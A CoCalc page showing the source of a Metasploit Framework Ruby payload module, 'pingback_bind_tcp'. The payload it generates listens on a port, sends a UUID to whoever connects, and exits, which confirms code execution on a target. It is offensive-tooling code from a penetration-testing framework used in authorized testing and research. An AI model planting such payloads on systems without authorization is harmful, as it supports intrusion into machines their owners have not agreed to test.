CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/payloads/singles/ruby/pingback_bind_tcp.rb
Views: 11768
1
2
module MetasploitModule
3
4
CachedSize = 103
5
6
include Msf::Payload::Single
7
include Msf::Payload::Ruby
8
include Msf::Payload::Pingback
9
include Msf::Payload::Pingback::Options
10
11
def initialize(info = {})
12
super(merge_info(info,
13
'Name' => 'Ruby Pingback, Bind TCP',
14
'Description' => 'Listens for a connection from the attacker, sends a UUID, then terminates',
15
'Author' => 'asoto-r7',
16
'License' => MSF_LICENSE,
17
'Platform' => 'ruby',
18
'Arch' => ARCH_RUBY,
19
'Handler' => Msf::Handler::BindTcp,
20
'Session' => Msf::Sessions::Pingback,
21
'PayloadType' => 'ruby'
22
))
23
end
24
25
def generate(_opts = {})
26
#return prepends(ruby_string)
27
return ruby_string
28
end
29
30
def ruby_string
31
self.pingback_uuid ||= self.generate_pingback_uuid
32
return "require'socket';" \
33
"s=TCPServer.new(#{datastore['LPORT'].to_i});"\
34
"c=s.accept;"\
35
"s.close;"\
36
"c.puts'#{[[self.pingback_uuid].pack('H*')].pack('m0')}\'.unpack('m0');"
37
"c.close"
38
end
39
end
40
41
42
43